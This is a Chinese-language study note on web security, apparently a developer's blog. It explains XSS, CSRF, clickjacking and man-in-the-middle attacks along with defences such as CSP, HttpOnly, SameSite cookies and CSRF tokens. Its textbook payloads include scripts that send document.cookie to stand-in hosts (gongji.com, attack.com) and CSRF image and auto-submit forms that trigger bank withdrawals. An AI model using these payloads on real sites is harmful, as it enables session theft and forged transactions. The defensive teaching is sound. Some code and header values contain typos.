# 👉 Web 安全

参考文章:

# XSS 攻击

# 什么是 XSS 攻击?

跨站脚本攻击(Cross-Site Scripting, XSS),一种代码注入攻击。本质是页面被注入恶意代码,浏览器无法识别而导致恶意脚本被执行。

# XSS 攻击有几种类型?

# 反射型 XSS(非持久型)

恶意脚本通过作为网络请求的参数,经过服务器响应,并在响应内容中出现这段代码,然后反射到 HTML 文档中,浏览器无法识别而执行解析。

一般通过 URL 注入恶意代码/构造恶意链接诱惑用户点击。常见于网站搜索、跳转。

  • 反射型 XSS 的攻击步骤:
  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
http://chieminchan.com?q=<script>alert("你完蛋了")</script>

# 存储型 XSS(持久型)

恶意脚本存储到服务端的数据库,使得每次加载页面被执行而进行恶意攻击。

常见于带有用户保存数据的网站功能,论坛发帖留言等,提交一段脚本代码后前后端没有做好转义工作而直接将评论内容存到了数据库。

存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

将以下代码作为评论内容发送给服务端:

<p>
    欢迎您
    <img id="img" />
    <script>
        var imgEle = document.createElement("img");
        imgEle.scr = `http://gongji.com?cookie=${document.cookie}`;
        imgEle.style.display = "none";
        document.body.appenChild(imgEle);
    </script>
</p>

# DOM 型 XSS

DOM 型 XSS 是基于 DOM,利用了浏览器解析机制,让 JavaScript 执行了恶意代码,一种发生在客户端的攻击。

前端 JavaScript 代码不够严谨,把不可信的内容插入到了页面。

<input id="input" type="text" />
<button onclick="container.innerHTML = input.value">点击</button>

<p id="container"></p>

如果此时输入的内容为:

 <script>fetch(`https://attack.com?cookie=${document.cookie}`)</·script>

这个问题后面 h5 加入了安全规范:不执行由 innerHTML 插入的 script 标签。

# 如何防范 XSS 攻击?

# 预防反射型 XSS 攻击

  1. 服务端对 URL 接收到的参数进行转译,对字符串进行编码(encodeURIComponent)。把  & < > " ' /  这几个字符转义掉

  2. 前后端分离,改成纯前端渲染,把代码和数据分隔开。

# 预防存储型 XSS 攻击

对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤。

  1. 客户端提交前进行校验过滤,如果包含恶意脚本则不提交,或者提交转义后的字符串
  2. 服务端接收后先校验过滤,如果包含恶意脚本则不存储到数据库,或者存储转义后的字符串
  3. 客户端渲染时候进行过滤,即使数据库中存储了未经转义的恶意脚本,输出转义后的字符串

# 预防 DOM 型 XSS

  1. 注意特殊的 HTML 属性、JavaScript API

1)JS 代码操控 DOM 文本内容时,避免拼接 HTML。

在使用v-html.innerHTML.outerHTML.appendChilddocument.write()等 API 时要特别小心。

尽量使用 .innerText.textContent.setAttribute() 等。避免在字符串中拼接到不可信数据。

2)给对 DOM 和 JS 中,能将字符串作为代码运行的 API 进行传参数时,需要谨慎。

DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseoverhref 属性;避免使用内联事件,而是通过 .addEventlistener() 事件绑定会更安全。

JavaScript 的 eval()setTimeout()setInterval() 等都能把字符串作为代码运行。

传参数给这些 API 时需要谨慎,要避免在字符串中拼接到不可信数据,可使用 encodeURIComponent 进行转译。

<!-- 攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS') -->

<!-- 虽然经过转移 -->
<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>

<!-- 这段代码,会被服务端响应就成了: -->
<!-- 连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击 -->
<a href="javascript:alert(&#x27;XSS&#x27;)">跳转...</a>

<!-- 对于链接跳转,如 <a href="xxx" 或 location.href="xxx",要检验其内容,禁止以 javascript: 开头的链接,和其他非法的 scheme。 -->

# Content-Security-Policy (CSP,内容安全策略)

在服务端使用 HTTP 的 Content-Security-Policy 头部来指定策略,或者在前端设置 meta 标签。通过 CSP 指定有效域,使浏览器认可可执行脚本有效来源。

策略主要作用:
1)禁止加载外域的资源,防止复杂的攻击逻辑;
2)禁止外域提交,网站被攻击后,用户数据不会泄漏;
3)禁止内联脚本、未授权的脚本执行;
4)上报违规报告。report-uri http://report.example.com/xxx

<meta
    http-equiv="Content-Security-Policy"
    content="default-src 'self'; img-src https://*;"
/>

default-src 'self':所有资源内容均来自站点的同一个源 (不包括其子域名)

img-src https://*;:图片可以通过 HTTPS 方式从任何地方加载(注意 \* 通配符)。(类似的有script-srcstyle-srcimg-src

connect-src:限制通过脚本接口加载的链接地址。

HttpOnly 是一个设置 cookie 是否可以被 javasript 脚本读取的属性,浏览器将禁止页面的 Javascript 访问带有 HttpOnly 属性的 Cookie。

禁止 JavaScript 读取某些敏感 Cookie,不是预防 XSS 的措施,是遭到 XSS 后,预防泄漏用户敏感信息的措施。

response.setHeader("Set-Cookie", "token=zkskskdngqkkkgn245tkdkgj;HttpOnly");

关于 Cookie 的更多延展,戳关于 Cookie

# CSRF 攻击

# 什么是 CSRF 攻击?

Cross Site Request Forgery 跨站请求伪造

在受害者登录了 A 网站以后,诱惑受害者进入第三方网站,在第三方网站利用受害者在 A 网站的登录凭证(请求携带 cookie),冒充用户操作,向对 A 网站发送跨站请求进行某项操作。

例子:登录邮箱点开不知名第三方邮件,跳转至第三方页面,第三方页面配置邮件转发规则获取登录人邮件,窃取信息。

CSRF 攻击并不需要将恶意代码注入用户当前页面的 html 文档中,而是跳转到新的页面,利用服务器的验证漏洞和用户之前的登录状态来模拟用户进行操作。

一个典型的 CSRF 攻击有着如下的流程:

  1. 受害者登录 a.com,并保留了登录凭证(Cookie)。
  2. 攻击者引诱受害者访问了 b.com。
  3. b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带 a.com 的 Cookie。
  4. a.com 接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
  5. a.com 以受害者的名义执行了 act=xx。
  6. 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让 a.com 执行了自己定义的操作。

# CSRF 攻击类型

# GET 类型的 CSRF

跳转到第三方网站后,自动发送一个 GET 的 HTTP 请求。

GET 类型的 CSRF 利用非常简单,只需要一个 HTTP 请求,一般会这样利用:

 ![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/ff0cdbee.example/withdraw?amount=10000&for=hacker)

在受害者访问含有这个 img 的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次 HTTP 请求。

bank.example 就会收到包含受害者登录信息的一次跨域请求。

# 请求 POST 类型的 CSRF

跳转到第三方网站后,自动提交表单。

<form action="http://bank.example/withdraw" method="POST">
    <input type="hidden" name="account" value="xiaoming" />
    <input type="hidden" name="amount" value="10000" />
    <input type="hidden" name="for" value="hacker" />
</form>
<script>
    document.forms[0].submit();
</script>

# 链接类型的 CSRF

需要用户在第三方网站点击链接触发,然后发送一个 GET 请求。

# 如何预防 CSRF 攻击

CSRF 核心:

  1. CSRF 通常发生在第三方网站,是跨站的,冒充用户进行请求;
  2. CSRF 攻击者不能获取到 Cookie 等信息,只是冒用。(cookie 缓存在客户端,每个 cookie 大小不超 4kb,每次访问相同网站客户端会自动附带上)

CSRF 攻击的核心是伪造请求,识别这种的攻击的重点就是判断当前操作是否伪造。

预防核心:

  1. 阻止不明外域的访问:来源检测(origin、referer)
  2. 提交时要求附加本域才能获取的信息(SameSite/Token)

CSRF 攻击中重要的一环就是自动发送目标站点下的 Cookie,因此对 Cookie 的防范尤为重要。

  1. Samesite=strict:
    任何情况下都不可作为第三方 Cookie 传给服务器

  2. Samesite=lax:
    允许发送安全 HTTP 方法带上 Cookie,如 Get / OPTIONSHEAD 请求;get 方法 / href 属性 / a 标签发送 get 请求的情况下可以携带 Cookie,其他情况均不能。(保证页面的幂等性,后端接口不要在 GET 页面中做用户操作)

  3. Samesite=none:默认模式,请求会自动携带上 Cookie。(Chrome 80 版本后 Lax 为默认值)

# 来源检测

  • Origin

Origin 字段内包含请求的域名(不包含 path 及 query)

注意:302 重定向之后 Origin 不包含在重定向的请求中,因为 Origin 可能会被认为是其他来源的敏感信息,ie11 不会在跨站时发送 Origin。

  • Referer

对于 Ajax 请求,图片和 script 等资源请求,Referer 为发起请求的页面地址。对于页面跳转,Referer 为打开页面历史记录的前一个页面地址。因此我们使用 Referer 中链接的 Origin 部分可以得知请求的来源域名。

Referer 记录了该 HTTP 请求(referrer)的来源地址(包含具体的 URL 路径),在部分情况下,攻击者可以隐藏,甚至修改自己请求的 Referer。并非绝对安全。

设置 Referrer Policy 的方法有三种:

  1. 在 CSP 设置
  2. 页面头部增加 meta 标签
  3. a 标签增加 referrerpolicy 属性

# 提交要求附带本域信息(CSRF-TOKEN)

  • CSRF-TOKEN

原理:服务端利用 userId 和时间戳生成一个计算结果 token,传输给前端,前端接受每次都回传给后端,解密进行校验。

  • 验证码密码

同理 TOKEN

  • 双重 COOKIE

流程:
步骤 1:在用户访问网站页面时,向请求域名注入一个 Cookie,内容为随机字符串(例如 csrfcookie=v8g9e4ksfhw)
步骤 2:在前端向后端发起请求时,取出 Cookie,并添加到 URL 的参数中(接上例 POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)
步骤 3:后端接口验证 Cookie 中的字段与 URL 参数中的字段是否一致,不一致则拒绝。

优点:
无需使用 Session,适用面更广,易于实施。
Token 储存于客户端中,不会给服务器带来压力。
相对于 Token,实施成本更低,可以在前后端统一拦截校验,而不需要一个个接口和页面添加。

缺点:
Cookie 中增加了额外的字段。
如果有其他漏洞(例如 XSS),攻击者可以注入 Cookie,那么该防御方式失效。
难以做到子域名的隔离。
-为了确保 Cookie 传输安全,采用这种防御方式的最好确保用整站 HTTPS 的方式,如果还没切 HTTPS 的使用这种方式也会有风险。

# XSS 攻击和 CSRF 攻击区别

XSS 攻击大多发生在目标网站,利用受害者对目标网站的信任;
CSRF 攻击大多发生在第三方网站,利用目标网站对受害者凭证的信任。

# 点击劫持

点击劫持(click hijacking),主要是通过构造一个非常有吸引力的网页 A 来诱惑误导被攻击者点击,被攻击者以为自己点击的是可见网页 A,但其实点击的是另一个置于网页 A 上的透明网页 B。

流程:
步骤 1: 攻击者构建一个有吸引力的网页 A,并将被攻击网页 B 通过 iframe 的形式嵌入并叠加至 A 上方,且将 iframe 设置为 100%透明;
步骤 2: 用户在不知道请的情况下点击按钮 B,触发一些命令。

# 防御措施

因为其核心是将目标网站载入至恶意网站中,通过 iframe 载入网页是有效的方法。因此,我们可以将自己的网页配置成不允许通过 iframe 载入至其他网页中。

对服务器配置响应头:X-Frame-Options

X-Frame-Options 响应报头可以被用来指示一个浏览器是否应该被允许在一个以呈现页面<frame><iframe><object>。通过确保其内容未嵌入其他网站,网站可以使用此功能来避免点击劫持攻击。

  • DEBY:配置网页不能被嵌入到任何 iframe 中;
  • SAMEORIGIN:配置页面只能显示在与页面相同的域名下(同个站点)中;
  • ALLOW-FROM https://example.com(uri):配置也没只能被嵌入到指定域名的中。

# 中间人攻击

中间人攻击是指攻击者和通讯的两端分别创建独立的联系,并且交互其得到的数据,攻击者可以拦截通信双方的通话并且插入新的内容。

# 防御方式

通常采用 HTTPS 通信可以防御中间人攻击。

# Referer(正确拼写 referrer)

# 设置三种方法

  1. CSP
Content-Security-Policy: referrer <referrer-policy>;
  1. meta 头
<meta name="referer" content="same-origin" />
  1. a 标签增加 referrerpolicy 属性
<a src=“http://xxxx.com” referrerpolicy=“same-referer”>

# referrerpolicy 有哪些值

origin:发送只包含 origin 的 referer,即协议域名

no-referer:不发送

unsafe-referer:都发送

same-origin:对同源链接/引用时发送 referer,其他不发送

no-deferer-when-downgrade(默认值):协议降级访问时不发送

origin-when-crossorigin:对同源链接/引用时发送 referer,非同源发送 origin

strict-origin:安全降级不发送(新加的标准)

strict-origin-when-cross-origin:安全降级不发送,同级同源才发送(新加的标准)

# 在以下情况下,Referer 不会被发送:

  1. 来源页面采用的协议为表示本地文件的 "file" 或者 "data" URI;

  2. 当前请求页面采用的是非安全协议,而来源页面采用的是安全协议(HTTPS)。

3 .直接输入网址或通过浏览器书签访问

  1. 使用 JavaScript 的 Location.href 或者是 Location.replace()

  2. 使用 html5 中 noreferrer

<a href="/test/index.php?noreferer" rel="noreferrer" target="_blank"></a>

<a href="/test/index.php?noreferer" rel="noreferrer" target="_blank"></a>

6.使用 Referer Meta 标签控制 referer 使用场景;

7.使用 iframe 的 hack 写法去除 referer。

# Host/origin/referer 区别

  • Origin:协议:域名

只有跨域请求,或者同域时发送 post 请求,才会携带 origin 请求头

  • Host:域名:端口

  • referer:协议:域名:路径